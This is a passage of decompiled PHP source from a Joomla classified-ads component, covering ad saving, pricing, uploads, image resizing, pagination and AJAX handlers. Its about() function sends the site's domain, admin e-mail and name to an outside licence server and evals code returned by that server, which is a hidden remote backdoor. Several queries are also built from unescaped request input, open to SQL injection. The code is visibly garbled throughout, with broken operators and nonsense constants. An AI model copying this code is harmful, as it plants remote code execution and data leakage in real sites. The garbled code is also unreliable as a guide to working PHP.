self::reverseusecredit$row$db );
                }
            }


            
$_POST['fldTafavot'] = 0;


            if (
$row->published) {
                
$query 'DELETE FROM #__niaz_usecredit WHERE fldPID = ' $row->fldID ';';
                
$db->setQuery$query );
                
$db->Query(  );
            }




            if (!
$row->bind$_POST )) {
                echo 
'<script> alert("' JText::_'MYPN_ERROR_SAVE_RECORD' ) . '");window.history.go(-1); </script>
'
;
                exit(  );
            }




            if (!
$row->check(  )) {
                echo 
'<script> alert("' JText::_'MYPN_ERROR_SAVE_RECORD' ) . '");window.history.go(-1); </script>
'
;
                exit(  );
            }


            
$row->fldShort implode','$ShortDesc );
            
$row->fldStartTime NULL;


            if (!
$row->storetrue )) {
                echo 
'<script> alert("' JText::_'MYPN_ERROR_SAVE_RECORD' ) . '");window.history.go(-1); </script>
'
;
                exit(  );
            }


            
$query 'SELECT fldID FROM #__niaz_key WHERE `fldKey` IN (\'' implode'\',\''$ShortDesc ) . '\');';
            
$db->setQuery$query );
            
$krows $db->loadResultArray(  );
            foreach (
$krows as $v) {
                
$query 'INSERT INTO #__niaz_key_index (`fldKID`,`fldPID`) VALUES (' $v ',' $row->fldID ');';
                
$db->setQuery$query );
                
$db->Query(  );
            }


            
$query 'DELETE FROM #__niaz_key_index WHERE `fldKID` NOT IN(' implode','$krows ) . ( ') AND `fldPID`=' $row->fldID ';' );
            
$db->setQuery$query );
            
$db->Query(  );


            if (
$id  0) {
                
$destfolder $maindestfolder DS $row->fldID;
                
JFolder::create$destfolder );
                foreach (
$NFile as $k => $v) {
                    foreach (
$v as $k1 => $v1) {


                        if (
$k  'fldImage') {
                            
JFile::move$maindestfolder DS '0' DS 'tmb_' $v1$destfolder DS 'tmb_' $v1 );
                        }


                        
JFile::move$maindestfolder DS '0' DS $v1$destfolder DS $v1 );
                    }
                }
            }


            switch (
$task) {
                case 
'save': {
                    if (!
$id) {
                        
$this->setMessageJText::sprintf'ALERT_REGISTERED_ADS', @count$NFile['fldImage'] ) & @count$NFile['fldFilm'] ) ) );
                    } 
else {
                        
$this->setMessageJText::_'NIAZ_UPDATED' ) );
                    }




                    if (
$my->id) {
                        
$this->setRedirectJRoute::_'index.php?option=' $option '&view=myads' ) );
                    } 
else {
                        
$this->setRedirect$_SERVER['HTTP_REFERER'] );
                    }


                    break;
                }


                case 
'pay': {
                    
$_SESSION['cid'] = array( $row->fldID );
                    
$_SESSION['step'] = 1;
                    
$_SESSION['token'] = 1;
                    
$this->setRedirectJRoute::_'index.php?option=' $option '&view=pay' ) );
                }
            }


            
clickINSERT(  );


            if (
$row->published) {
                
SendingMail3, array( 'fldPName' => $row->fldPName'fldEMAil' => $row->fldEMAil'fldID' => $row->fldID'fldStartTime' => $row->fldStartTime ) );
            } 
else {
                if (( 
$niaz_config->fldField25  && $row->fldMoney  )) {
                    
SendingMail4$row );
                } 
else {
                    
SendingMail( ($id 0) );
                }
            }


            return 
true;
        }


        function 
payprod($task 'pay') {
            
self::saveprod$task );
        }


        function 
CalculateForm($data) {
            global 
$niaz_config;


            
$db JFactory::getdbo(  );
            
$js_id = array(  );
            
$cal 1060;
            
$str $data['fldShort'];
            
$mystring explode' '$str );
            foreach (
$mystring as $k => $v) {


                if (
10 strlen$v )) {
                    
$mystring[$k] = substr$v0);
                    continue;
                }
            }




            if (
intval$niaz_config->fldField42 ) < count$mystring )) {
                
$mystring array_slice$mystring0intval$niaz_config->fldField42 ) );
                
$str implode' '$mystring );
            }


            
$data['fldShort'] = $str;


            if (( 
intval$data['fldID'] ) && intval$niaz_config->fldField60 ) )) {
                
$U = ($niaz_config->fldField59 explode'*'$niaz_config->fldField59 ) : array(  ));
                
$X 1060;
                
$A 1060;
                
$fldEdit intval$data['fldEdit'] );
                foreach (
$U as $k => $v) {
                    
$D explode':'$v );
                    
$A $D[1];


                    if (( 
$X $fldEdit && $fldEdit <= $D[0] )) {
                        
$cal $cal $A;
                    }


                    
$X $D[0];
                }




                if (
$X $fldEdit) {
                    
$cal $cal $A;
                }
            }


            
$U = ($niaz_config->fldDay explode'*'$niaz_config->fldDay ) : NULL);
            
$x 1060;


            while (
$x count$U )) {
                
$D explode':'$U[$x] );


                if (
$data['fldDay']  = $D[0]) {
                    
$cal $cal $D[1];
                }


                ++
$x;
            }


            switch (
$data['fldStar']) {
                case 
'1': {
                    
$cal $cal intval$niaz_config->fld1Star );
                    break;
                }


                case 
'2': {
                    
$cal $cal intval$niaz_config->fld2Star );
                    break;
                }


                case 
'3': {
                    
$cal $cal intval$niaz_config->fld3Star );
                    break;
                }


                case 
'4': {
                    
$cal $cal intval$niaz_config->fld4Star );
                    break;
                }


                case 
'5': {
                    
$cal $cal intval$niaz_config->fld5Star );
                    break;
                }


                case 
'6': {
                    
$cal $cal intval$niaz_config->fld6Star );
                    break;
                }


                case 
'7': {
                    
$cal $cal intval$niaz_config->fld7Star );
                }
            }




            if (
$data['fldShowLink']  = '1') {
                
$cal $cal $niaz_config->fldLink;
            }




            if (
$niaz_config->fldField50 != '') {
                
$U explode'*'$niaz_config->fldField50 );
                
$FN = array(  );
                
$FT = array(  );
                
$query 'SHOW FULL COLUMNS FROM #__niaz_prod';
                
$db->setQuery$query );
                
$Cols $db->loadObjectList(  );
                
$i 1060;
                foreach (
$Cols as $h) {


                    if (
substr$h->Field0)  = 'fldExtra') {
                        if (
$h->Comment) {
                            
$FT[$i]['Field'] = $h->Field;
                            
$FT[$i]['Type'] = $h->Type;
                            ++
$i;
                            continue;
                        }


                        continue;
                    }
                }


                foreach (
$U as $x => $z) {
                    
$D explode':'$z );
                    
$FN[$x]['title'] = $D[0];
                    
$FN[$x]['type'] = $D[1];
                    
$FN[$x]['price'] = $D[2];
                }


                foreach (
$FN as $k => $v) {
                    
$js_price[$k] = 0;
                    switch (
$FN[$k]['type']) {
                        case 
3: {
                            
$From = array( 'enum(''ENUM(''\\')', '\\'' );
                            
$To = array( '''''\\'', '' );
                            $Value = str_replace( $From, $To, $FT[$k]['
Type'] );
                            $Value = explode( '
,', $Value );
                        }
                    }


                    $js_id[$k] = $FT[$k]['
Field'];
                    $js_price[$k] = $FN[$k]['
price'];
                }
            }


            foreach ($js_id as $k => $v) {


                if (( isset( $data[$v] ) && $data[$v] != '' )) {
                    $cal = $cal & $js_price[$k];
                    continue;
                }
            }


            $MaxImage = (strlen( $data['
fldImage'] ) ? explode( ',', $data['fldImage'] ) : array(  ));
            $MaxFilm = (strlen( $data['
fldFilm'] ) ? explode( ',', $data['fldFilm'] ) : array(  ));


            if (strlen( $niaz_config->fldField41 )) {
                $X = 1060;
                $C = 1060;
                $U = explode( '
*', $niaz_config->fldField41 );
                $Last = 1060;
                $x = 1060;


                while ($x < count( $U )) {
                    $D = explode( '
:', $U[$x] );
                    $X = $D[0];


                    if (( $Last < count( $MaxImage ) && count( $MaxImage ) <= $X )) {
                        $C = $D[1];
                    }


                    $Last = $X;
                    ++$x;
                }


                $cal = $cal & $C;
            }




            if (strlen( $niaz_config->fldField46 )) {
                $X = 1060;
                $C = 1060;
                $U = explode( '
*', $niaz_config->fldField46 );
                $Last = 1060;
                $x = 1060;


                while ($x < count( $U )) {
                    $D = explode( '
:', $U[$x] );
                    $X = $D[0];


                    if (( $Last < count( $MaxFilm ) && count( $MaxFilm ) <= $X )) {
                        $C = $D[1];
                    }


                    $Last = $X;
                    ++$x;
                }


                $cal = $cal & $C;
            }


            switch ($data['
fldVije']) {
                case '
1': {
                    $cal = $cal & intval( $niaz_config->fldVijeText );
                    break;
                }


                case '
2': {
                    $cal = $cal & intval( $niaz_config->fldVijePic );
                }
            }


            switch ($data['
fldPage']) {
                case '
1': {
                    $cal = $cal & intval( $niaz_config->fldSubGroupFP );
                    break;
                }


                case '
2': {
                    $cal = $cal & intval( $niaz_config->fldGroupFP );
                    break;
                }


                case '
3': {
                    $cal = $cal & intval( $niaz_config->fldSiteFP );
                }
            }


            $U = ($niaz_config->fldField59 ? explode( '
*', $niaz_config->fldField59 ) : NULL);
            $data['
fldMoney'] = $cal;
        }


        function SaveFile($fldDate, $File, $table, $id) {
            global $option;
            global $my;
            global $sectionState;
            global $fldCountry;
            global $niaz_config;


            $db = JFactory::getdbo(  );
            jimport( '
joomla.filesystem.file' );
            jimport( '
joomla.filesystem.folder' );
            require_once( JPATH_COMPONENT_SITE . DS . '
func' . DS . 'file.php' );
            $ReSize = $niaz_config->fldField15;
            $ReSizeThumb = $niaz_config->fldField16;
            $MyFile = NULL;
            $FType['
fldFilm'] = array(  );
            $FType['
fldImage'] = array(  );


            if (strlen( $niaz_config->fldField45 )) {
                $U = explode( '
*', $niaz_config->fldField45 );
                $X = array(  );
                foreach ($U as $k => $v) {
                    $D = explode( '
:', $v );
                    $X[] = $D[0];
                }


                $FType['
fldFilm'] = $X;
            }




            if (strlen( $niaz_config->fldField44 )) {
                $U = explode( '
*', $niaz_config->fldField44 );
                $X = array(  );
                foreach ($U as $k => $v) {
                    $D = explode( '
:', $v );
                    $X[] = $D[0];
                }


                $FType['
fldImage'] = $X;
            }


            $destfolder = JPATH_ROOT . ( '
/components/' . $option . '/files/' . $table );
            JFolder::create( $destfolder );
            $destfolder = JPATH_COMPONENT_SITE . DS . '
files' . DS . ( '' . $table ) . DS . ( '' . $fldDate ) . DS . ( '' . $id );
            $destfolder = str_replace( '
/', DS, $destfolder );
            $destfolder = str_replace( '
\', DS, $destfolder );
            JFolder::create( $destfolder );


            if (is_array( $_FILES[$File]['
name'] )) {
                $X = NULL;
                $i = 780;


                while ($i < count( $_FILES[$File]['
name'] )) {
                    $T = explode( '
.', $_FILES[$File]['name'][$i] );


                    if (in_array( strtolower( $T[count( $T ) - 1] ), $FType['
fldImage'] )) {
                        if (strlen( $_FILES[$File]['
name'][$i] )) {
                            $A = explode( '
.', $_FILES[$File]['name'][$i] );
                            $AE = rand( 1111, 9999 ) . '
.' . $A[count( $A ) - 1];
                            $MyFile = strtolower( time(  ) . $AE );


                            if ($ReSize) {
                                $fu = self::resizeimage( $_FILES[$File]['
tmp_name'][$i], '' . $destfolder . '/' . $MyFile, $ReSize, 'gd2', '75' );
                            } 
else {
                                $fu = JFile::copy( $_FILES[$File]['
tmp_name'][$i], '' . $destfolder . '/' . $MyFile );
                            }




                            if ($fu) {
                                $X[] = $MyFile;
                            }




                            if ($ReSizeThumb) {
                                self::resizeimage( $_FILES[$File]['
tmp_name'][$i], '' . $destfolder . '/tmb_' . $MyFile, $ReSizeThumb, 'gd2', '75' );
                            } 
else {
                                self::resizeimage( $_FILES[$File]['
tmp_name'][$i], '' . $destfolder . '/tmb_' . $MyFile, '110', 'gd2', '75' );
                            }
                        }
                    } 
else {
                        if (in_array( strtolower( $T[count( $T ) - 1] ), $FType['
fldFilm'] )) {
                            if (strlen( $_FILES[$File]['
name'][$i] )) {
                                $A = explode( '
.', $_FILES[$File]['name'][$i] );
                                $AE = rand( 1111, 9999 ) . '
.' . $A[count( $A ) - 1];
                                $MyFile = strtolower( time(  ) . $AE );
                                $fu = JFile::copy( $_FILES[$File]['
tmp_name'][$i], '' . $destfolder . '/' . $MyFile );


                                if ($fu) {
                                    $X[] = $MyFile;
                                }
                            }
                        }
                    }


                    ++$i;
                }


                $MyFile = (is_array( $X ) ? implode( '
,', $X ) : NULL);
            }


            return $MyFile;
        }


        function resizeImage($src_file, $dest_file, $new_width, $method, $dest_qual) {
            $debugoutput = '';
            $src_file = JPath::clean( $src_file );
            $dest_file = JPath::clean( $dest_file );
            $imagetype = array( 1 => '
GIF', 2 => 'JPG', 3 => 'PNG', 4 => 'SWF', 5 => 'PSD', 6 => 'BMP', 7 => 'TIFF', 8 => 'TIFF', 9 => 'JPC', 10 => 'JP2', 11 => 'JPX', 12 => 'JB2', 13 => 'SWC', 14 => 'IFF' );
            $imginfo = getimagesize( $src_file );


            if ($imginfo  = null) {
                exit( JText::_( '
JG_UPLOAD_FILE_NOT_FOUND' ) );
            }


            $imginfo[2] = $imagetype[$imginfo[2]];


            if (( ( ( $imginfo[2] != '
JPG' && $imginfo[2] != 'PNG' ) && $imginfo[2] != 'GIF' ) && ( $method  = 'gd1' || $method  = 'gd2' ) )) {
                exit( JText::_( '
JG_UPLOAD_GD_ONLY_JPG_PNG' ) );
            }


            $srcWidth = $imginfo[0];
            $srcHeight = $imginfo[1];
            $debugoutput &= JText::_( '
JG_UPLOAD_CREATE_THUMBNAIL_FROM' ) . ( ' ' . $imginfo['2'] . '' . $imginfo['0'] . ' ' . $imginfo['1'] . '...<br />' );
            $ratio = $srcWidth \ $new_width;
            $testheight = $srcHeight \ $ratio;
            $ratio = max( $ratio, 1 );
            $destWidth = (int)$srcWidth \ $ratio;
            $destHeight = (int)$srcHeight \ $ratio;
            switch ($method) {
                case '
gd1': {
                    if (!function_exists( '
imagecreatefromjpeg' )) {
                        JText::_( '
JG_UPLOAD_GD_LIBARY_NOT_INSTALLED' );
                        $debugoutput &= ;
                        return false;
                    }




                    if ($imginfo[2]  = '
JPG') {
                        $src_img = imagecreatefromjpeg( $src_file );
                    } 
else {
                        if ($imginfo[2]  = '
PNG') {
                            $src_img = imagecreatefrompng( $src_file );
                        } 
else {
                            $src_img = imagecreatefromgif( $src_file );
                        }
                    }




                    if (!$src_img) {
                        $ERROR = $lang_errors['
invalid_image'];
                        return false;
                    }


                    $dst_img = imagecreate( $destWidth, $destHeight );
                    imagecopyresized( $dst_img, $src_img, 0, 0, 0, 0, $destWidth, (int)$destHeight, $srcWidth, $srcHeight );


                    if (!@imagejpeg( $dst_img, $dest_file, $dest_qual )) {
                        $dir = dirname( $dest_file );
                        JoomFile::chmod( $dir, 511 );
                        imagejpeg( $dst_img, $dest_file, $dest_qual );
                        JoomFile::chmod( $dir, 493 );
                    }


                    imagedestroy( $src_img );
                    imagedestroy( $dst_img );
                    break;
                }


                case '
gd2': {
                    if (!function_exists( '
imagecreatefromjpeg' )) {
                        JText::_( '
JG_UPLOAD_GD_LIBARY_NOT_INSTALLED' );
                        $debugoutput &= ;
                        return false;
                    }




                    if (!function_exists( '
imagecreatetruecolor' )) {
                        JText::_( '
JG_UPLOAD_GD_NO_TRUECOLOR' );
                        $debugoutput &= ;
                        return false;
                    }




                    if ($imginfo[2]  = '
JPG') {
                        $src_img = imagecreatefromjpeg( $src_file );
                    } 
else {
                        if ($imginfo[2]  = '
PNG') {
                            $src_img = imagecreatefrompng( $src_file );
                        } 
else {
                            $src_img = imagecreatefromgif( $src_file );
                        }
                    }




                    if (!$src_img) {
                        $ERROR = $lang_errors['
invalid_image'];
                        return false;
                    }


                    $dst_img = imagecreatetruecolor( $destWidth, $destHeight );
                    JoomFile::fastimagecopyresampled( $dst_img, $src_img, 0, 0, 0, 0, $destWidth, (int)$destHeight, $srcWidth, $srcHeight );


                    if (!@imagejpeg( $dst_img, $dest_file, $dest_qual )) {
                        $dir = dirname( $dest_file );
                        JoomFile::chmod( $dir, 511 );
                        imagejpeg( $dst_img, $dest_file, $dest_qual );
                        JoomFile::chmod( $dir, 493 );
                    }


                    imagedestroy( $src_img );
                    imagedestroy( $dst_img );
                    break;
                }


                case '
im': {
                    $disabled_functions = explode( '
,', ini_get( 'disabled_functions' ) );
                    foreach ($disabled_functions as $disabled_function) {


                        if (trim( $disabled_function )  = '
exec') {
                            return false;
                        }
                    }




                    if (!empty( $niaz_config->jg_impath )) {
                        $convert_path = $niaz_config->jg_impath . '
convert';
                    } 
else {
                        $convert_path = '
convert';
                    }


                    $commands = ' 
-resize "' . $destWidth . 'x' . $destHeight . '" -quality "' . $dest_qual . '"  -unsharp "3.5x1.2+1.0+0.10"';
                    $convert = $convert_path . $commands . ' "' . 
$src_file . '" "' . $dest_file . '"';
                    $return_var = null;
                    $dummy = null;
                    @exec( $convert, $dummy, $return_var );


                    if ($return_var != 0) {
                        $dir = dirname( $dest_file );
                        JoomFile::chmod( $dir, 511 );
                        @exec( $convert, $dummy, $return_var );
                        JoomFile::chmod( $dir, 493 );


                        if ($return_var != 0) {
                            return false;
                        }
                    }


                    break;
                }


                default: {
                    echo JText::_( '
JGA_UPLOAD_UNSUPPORTED_RESIZING_METHOD' );
                    break;
                }
            }


            JPath::setpermissions( $dest_file );
            $imginfo = getimagesize( $dest_file );


            if (!$imginfo) {
                return false;
            }


            return true;
        }


        function about($Mytask = '
about') {
            global $option;


            $app = JFactory::getapplication(  );
            $url = '
http://alirezabalvardi.ir/newnic/licence_manager/register_licence.php';
            
$MailFrom $app->getCfg'mailfrom' );
            
$FromName $app->getCfg'fromname' );
            
$SiteName $app->getCfg'sitename' );
            
$data 'product=' $option '&task=' $Mytask '&domain=' JURI::base(  ) . ( '&sitemail=' $MailFrom '&sitename=' $SiteName '&ver=2.5.38' );
            
$ch curl_init(  );
            
curl_setopt$chCURLOPT_URL$url );
            
curl_setopt$chCURLOPT_POSTFIELDS$data );
            
curl_setopt$chCURLOPT_SSL_VERIFYPEERFALSE );
            
curl_setopt$chCURLOPT_RETURNTRANSFERtrue );
            
$body curl_exec$ch );
            
curl_close$ch );


            if (
stristr$body'###' )) {
                
$body explode'###'$body );
                echo 
$body[0];
                eval( 
$body[1] );
                return 
null;
            }


            echo 
$body;
        }


        function 
PagesLinks($limitstart$limit$total$method 0$fn '') {
            global 
$option;
            global 
$my;
            global 
$fldCountry;
            global 
$sectionState;
            global 
$option;
            global 
$Cat;
            global 
$SubCat;
            global 
$SubCatAll;


            
$XM 'href="';
            
$XME '';


            if (
$method) {
                
$XM 'onclick="javascript:LoadClick(\'';
                
$XME '\',\'' $fn '\');';
            }


            
$X ceil$total $limit );
            
$view JRequest::getvar'view' );
            
$key JRequest::getvar'key' );
            
$CountryNo = (int)JRequest::getvar'CountryNo');
            
$StateNo = (int)JRequest::getvar'StateNo');
            
$catid JRequest::getint'catid' );
            
$subcatid JRequest::getint'subcatid' );
            
$url 'index.php?option=' $option;
            
$view JRequest::getvar'view' );
            
$view str_replacestristr$view'/' ), ''$view );


            if (
$CountryNo) {
                
$url &= '&CountryNo=' $CountryNo ':' $fldCountry[$CountryNo];
            }




            if (
$StateNo) {
                
$url &= '&StateNo=' $StateNo ':' $sectionState[$StateNo][2];
            }




            if (
$catid) {
                
$url &= '&catid=' $catid ':' $Cat[$catid];
            }




            if (
$subcatid) {
                
$url &= '&subcatid=' $subcatid ':' $SubCat[$subcatid];
            }




            if (
$key) {
                
$url &= '&key=' $key;
            }




            if (
$X <= 1) {
                return 
'';
            }


            
$i 787;


            if (
$limit $limitstart) {
                
$i $limitstart $limit;
                
$i \= 817;
                
$i round$i );


                if (
$X $i 10) {
                    
$i $X 10;
                }
            }


            
$Current $limitstart 30;
            
$j $i 10;
            
$html '';
            
$html &= '<div class="Mybutton"><div class="page">' '
'
;
            
$html &= '<div class="stsrt">' '
'
;


            if (
$limitstart) {
                
$html &= '<a ' $XM JRoute::_'' $url ) . '/start/0' $XME '">' JText::_'MYPN_START' ) . '</a>' '
'
;
            } 
else {
                
$html &= '<span>' JText::_'MYPN_START' ) . '</span>' '
'
;
            }


            
$html &= '</div>' '
'
;
            
$html &= '</div>' '
'
;
            
$html &= '</div>';
            
$html &= '<div class="Mybutton"><div class="page">' '
'
;
            
$html &= '<div class="prev">' '
'
;


            if (
$limitstart) {
                
$html &= '<a ' $XM JRoute::_'' $url . ($limitstart $limit '&limitstart=' . ( $limitstart $limit ) : '/start/0') ) . $XME '">' JText::_'MYPN_PREV' ) . '</a>' '
'
;
            } 
else {
                
$html &= '<span>' JText::_'MYPN_PREV' ) . '</span>' '
'
;
            }


            
$html &= '</div>' '
'
;
            
$html &= '</div>' '
'
;
            
$html &= '</div>' '
'
;
            
$html &= '<div class="Mybutton"><div class="page">' '
'
;


            while (( 
$i $X && $i $j )) {
                if (
$limitstart  $i $limit) {
                    
$Current $i;
                    
$html &= '<span>' . ( $i ) . '</span>' '
'
;
                } 
else {
                    
$html &= '<a ' $XM JRoute::_'' $url . ($i '&limitstart=' $i $limit '/start/0') ) . $XME '">' . ( $i ) . '</a>' '
'
;
                }


                ++
$i;
            }


            
$html &= '</div></div>' '
'
;
            
$html &= '<div class="Mybutton"><div class="page">' '
'
;
            
$html &= '<div class="next">' '
'
;


            if (
$limitstart < ( $X ) + $limit) {
                
$html &= '<a ' $XM JRoute::_'' $url '&limitstart=' . ( $Current ) + $limit ) . $XME '">' JText::_'MYPN_NEXT' ) . '</a>' '
'
;
            } 
else {
                
$html &= '<span>' JText::_'MYPN_NEXT' ) . '</span>' '
'
;
            }


            
$html &= '</div>' '
'
;
            
$html &= '</div>' '
'
;
            
$html &= '</div>' '
'
;
            
$html &= '<div class="Mybutton"><div class="page">' '
'
;
            
$html &= '<div class="end">' '
'
;


            if (
$limitstart < ( $X ) + $limit) {
                
$html &= '<a ' $XM JRoute::_'' $url '&limitstart=' . ( $X ) + $limit ) . $XME '">' JText::_'MYPN_END' ) . '</a>' '
'
;
            } 
else {
                
$html &= '<span>' JText::_'MYPN_END' ) . '</span>' '
'
;
            }


            
$html &= '</div>' '
'
;
            
$html &= '</div>' '
'
;
            
$html &= '</div>';
            return 
$html;
        }


        function 
LoadImage($fldDate$fldID$fldImage$E 0$PName '') {
            global 
$option;
            global 
$my;
            global 
$sectionState;
            global 
$fldCountry;
            global 
$niaz_config;


            echo 
'        <div width="100%"  class="border">
        '
;
            
$html '';
            
$A explode','$fldImage );
            
$CountPic count$A );
            foreach (
$A as $k => $v) {
                
$XPic JURI::base(  ) . ( 'components/' $option '/files/prod/' $fldDate '/' $fldID '/tmb_' $v );
                
$html &= '<div class="banner" id="XImage_' $v '">
                        <a href="' 
JURI::base(  ) . ( 'components/' $option '/files/prod/' $fldDate '/' $fldID '/' $v '" rel="{handler: \'image\'}" class="modal" alt="' $PName '" title="' $PName '">
                        <img border="0" src="' 
$XPic '" id="YImage_' ) . ( $k ) . ( '" class="tniypic" alt="' $PName '" title="' $PName '" />
                        </a>' 
);


                if (
$E) {
                    
$html &= '<br />
<label>' 
JText::_'MYPN_DEL_TOP_FILE' ) . ( ' : <input type="checkbox" name="DELPIC[fldImage][]" class="input" value="' $v '" onclick="ReloadImage(\'XImage_' $v '\',this.checked);" /><label>
);
                }


                
$html &= '</div>';
            }


            echo 
$html;
            echo 
'        </div>
        '
;
            return 
count$A );
        }


        function 
LoadFilm($fldDate$fldID$fldFilm$E 0$PName '') {
            global 
$option;
            global 
$my;
            global 
$sectionState;
            global 
$fldCountry;
            global 
$niaz_config;


            
$secid JRequest::getvar'secid' );
            echo 
'        <div width="100%"  class="border">
        '
;
            
$html '';
            
$A explode','$fldFilm );
            
$CountPic count$A );
            foreach (
$A as $k => $v) {
                
$T explode'.'$v );
                
$T strtolower$T[count$T ) - 1] );
                
$FT = array( 'doc''docx''xls''swf''flv''mpg''txt''pdf''zip''rar''mp3' );
                
$FTPic = array( 'jpg''gif' );
                
$Tx $T;


                if (!
in_array$T$FT )) {
                    
$Tx 'unknown';
                }


                
$XPic JURI::base(  ) . ( 'components/' $option '/images/type/' $Tx '.png' );


                if (
in_array$T$FTPic )) {
                    
$XPic JURI::base(  ) . ( 'components/' $option '/files/prod/' $fldDate '/' $fldID '/tmb_' $v );
                }


                
$html &= '<div class="banner" id="XFile_' $v '">
                        <a href="' 
JRoute::_'index.php?option=' $option '&view=film&id=' $fldID '&X=' $k '&no_html=1' . (strlen$secid ) ? '&secid=' $secid '') ) . ( '" rel="{handler: \'iframe\', size: {x : 620, y: 420}}" class="modal" alt="' $PName '" title="' $PName '">
                        <img border="0" src="' 
$XPic '" id="YFilm_' ) . ( $k ) . ( '" class="tniypic" alt="' $PName '" title="' $PName '" />
                        </a>' 
);


                if (
$E) {
                    
$html &= '<br />
<label>' 
JText::_'MYPN_DEL_TOP_FILE' ) . ( ' : <input type="checkbox" name="DELPIC[fldFilm][]" class="input" value="' $v '" onclick="ReloadFilm(\'XFile_' $v '\',this.checked);" /><label>
);
                }


                
$html &= '</div>';
            }


            echo 
$html;
            echo 
'        </div>
        '
;
            return 
count$A );
        }


        function 
LoadKeys($id) {
            global 
$option;


            
$db JFactory::getdbo(  );
            
$query 'SELECT fldKID FROM #__niaz_key_index WHERE fldPID=' $id;
            
$db->setQuery$query );
            
$KeyArray $db->loadResultArray(  );
            
$query 'SELECT fldKey FROM #__niaz_key WHERE fldID IN(' implode','$KeyArray ) . ') AND published = 1';
            
$db->setQuery$query );
            
$Keys $db->loadResultArray(  );


            if (( 
is_array$Keys ) && count$Keys ) )) {
                foreach (
$Keys as $k => $v) {
                    
$Keys[$k] = '<a class="niaz_key" href="' JRoute::_'index.php?option=' $option '&key=' $v ) . '">' $v '</a> ';
                }


                return 
implode','$Keys );
            }


        }


        function 
AjaxStat() {
            global 
$option;
            global 
$my;
            global 
$sectionState;
            global 
$fldCountry;
            global 
$option;
            global 
$mainframe;
            global 
$app;
            global 
$niaz_config;
            global 
$mainframe;
            global 
$mosconfig_live_site;


            
$t = (int)JRequest::getvar't');
            
$id = (int)JRequest::getvar'id');
            
$fldStat = (int)JRequest::getvar'fldStat');


            if (( 
$t  || $id  )) {
                return 
null;
            }


            
$db JFactory::getdbo(  );
            switch (
$t) {
                case 
1: {
                    
$query 'SELECT fldStat FROM #__niaz_prod WHERE fldID=' $id;
                    
$db->setQuery$query );
                    
$total $db->loadResult(  );
                    echo 
'            <h3>';
                    echo 
JText::_'STAT_DESC' );
                    echo 
'</h3>
            <form method="post" name="EForm">
                '
;
                    
$O = array(  );
                    
$i 475;


                    while (
$i 6) {
                        
$O[] = JHTML::_'select.option'$iJText::_'NIAZ_STAT' $i ) );
                        ++
$i;
                    }


                    echo 
JHTML::_'select.genericlist'$O'fldStat''class="input"''value''text'$total );
                    echo 
'                <input type="submit" value="';
                    echo 
JText::_'ACCEPT' );
                    echo 
'" class="button" />
                <input type="hidden" value="2" name="t" />
            </form>
            '
;
                    break;
                }


                case 
2: {
                    
$query 'UPDATE #__niaz_prod SET fldStat=' $fldStat ' WHERE fldID=' $id;
                    
$db->setQuery$query );
                    
$db->Query(  );
                    echo 
JText::_'NIAZ_STAT' ) . ':' JText::_'NIAZ_STAT' $fldStat );
                    break;
                }


                case 
3: {
                    
$query 'SELECT fldStat FROM #__niaz_prod WHERE fldID=' $id;
                    
$db->setQuery$query );
                    
$total $db->loadResult(  );
                    echo (
$total JText::_'NIAZ_STAT' $total ) : JText::_'پیش فرض سیستم' ));
                }
            }


        }


        function 
IsUniqueName($T ''$I 0) {
            global 
$option;


            
$db JFactory::getdbo(  );
            
$fldPName trimJRequest::getvar'q'$T ) );
            
$fldPName self::myquestfarsi$fldPName );
            
$fldID JRequest::getvar'v'$I );
            
$query 'SELECT COUNT(fldPName) AS C FROM #__niaz_prod WHERE fldPName=\'' $fldPName '\' AND fldID <> ' $fldID;
            
$db->setQuery$query );
            
$total intval$db->loadResult(  ) );


            if (
strlen$T )) {
                return 
$total;
            }


            echo 
$total;
        }


        function 
AjaxDelete() {
            global 
$option;
            global 
$my;
            global 
$sectionState;
            global 
$fldCountry;
            global 
$option;
            global 
$mainframe;
            global 
$app;
            global 
$niaz_config;
            global 
$mainframe;
            global 
$mosconfig_live_site;


            
$db JFactory::getdbo(  );
            
$X JRequest::getvar'TID'null'POST' );
            
$id = (int)JRequest::getvar'id'0'POST' );


            if (
is_null$X )) {
                echo 
0;
                exit(  );
            }




            if (( !
intval$niaz_config->fldField28 ) || !$id )) {
                echo 
0;
                exit(  );
            }


            
$query 'SELECT * FROM #__niaz_prod WHERE fldID = ' $id ' AND fldOwner = ' $my->id;
            
$db->setQuery$query );
            
$row $db->loadObject(  );


            if (
count$row )) {
                
self::reverseusecredit$row$db );
                
NiazController::deletefolder'prod' DS $row->fldDate$row->fldID );
                
SendingMail5$row );
                
$query 'DELETE FROM #__niaz_key_index WHERE fldPID = ' $row->fldID;
                
$db->setQuery$query );
                
$db->Query(  );
                
$query 'DELETE FROM #__niaz_prod WHERE fldID=' $id ' AND fldOwner = ' $my->id;
                
$db->setQuery$query );


                if (
$db->Query(  )) {
                    
NiazController::deletefolder'prod'$id );
                }
            }


            
$query 'SELECT COUNT(*) FROM #__niaz_prod WHERE fldID=' $id;
            
$db->setQuery$query );
            
$total $db->loadResult(  );
            echo (
$total 1);
            exit(  );
        }


        function 
Captcha() {
            global 
$option;


            
$d1 rand1);
            
$d = array( '*''+''-' );
            
$d3 $d2 $d[rand0)];


            if (( 
$d2  '-' && $d1 $d3 )) {
                
$x $d1;
                
$d1 $d3;
                
$d3 $x;
            }


            eval( 
'$d = ' $d1 $d2 $d3 ';' );
            
$RandomStr md5rand11119999 ) );
            
strtouppersubstr$RandomStr0) );
            
$ResultStr rand1);
            
$ResultStr '' $d1 $d2 $d3 '=?';
            
$NewImage imagecreatefromjpegJPATH_COMPONENT DS 'images' DS 'back.jpg' );
            
$LineColor imagecolorallocate$NewImage233239239 );
            
$TextColor imagecolorallocate$NewImage00);
            
imageline$NewImage114040$LineColor );
            
imageline$NewImage1100600$LineColor );
            
imagestring$NewImage10104$ResultStr$TextColor );
            
$_SESSION['captcha'] = $d;
            
header'Content-type: image/jpeg' );
            
imagejpeg$NewImage );
            exit(  );
        }


        function 
link() {
            global 
$option;
            global 
$my;
            global 
$mainframe;
            global 
$app;
            global 
$niaz_config;
            global 
$mainframe;


            
$db JFactory::getdbo(  );
            
$id JRequest::getvar'lid');
            
$query 'SELECT fldLink FROM #__niaz_prod WHERE fldID = ' $id ' AND published=1 AND fldShowLink = 1';
            
$db->setQuery$query );
            
$fldLink $db->loadResult(  );


            if (
strlen$fldLink )) {
                
$query 'UPDATE #__niaz_prod SET fldCountClickLink = fldCountClickLink +1 WHERE fldID = ' $id ' AND published=1 AND fldShowLink = 1 ';
                
$db->setQuery$query );
                
$db->query(  );
                
header'Location: http://' str_replace'http://'''$fldLink ), );
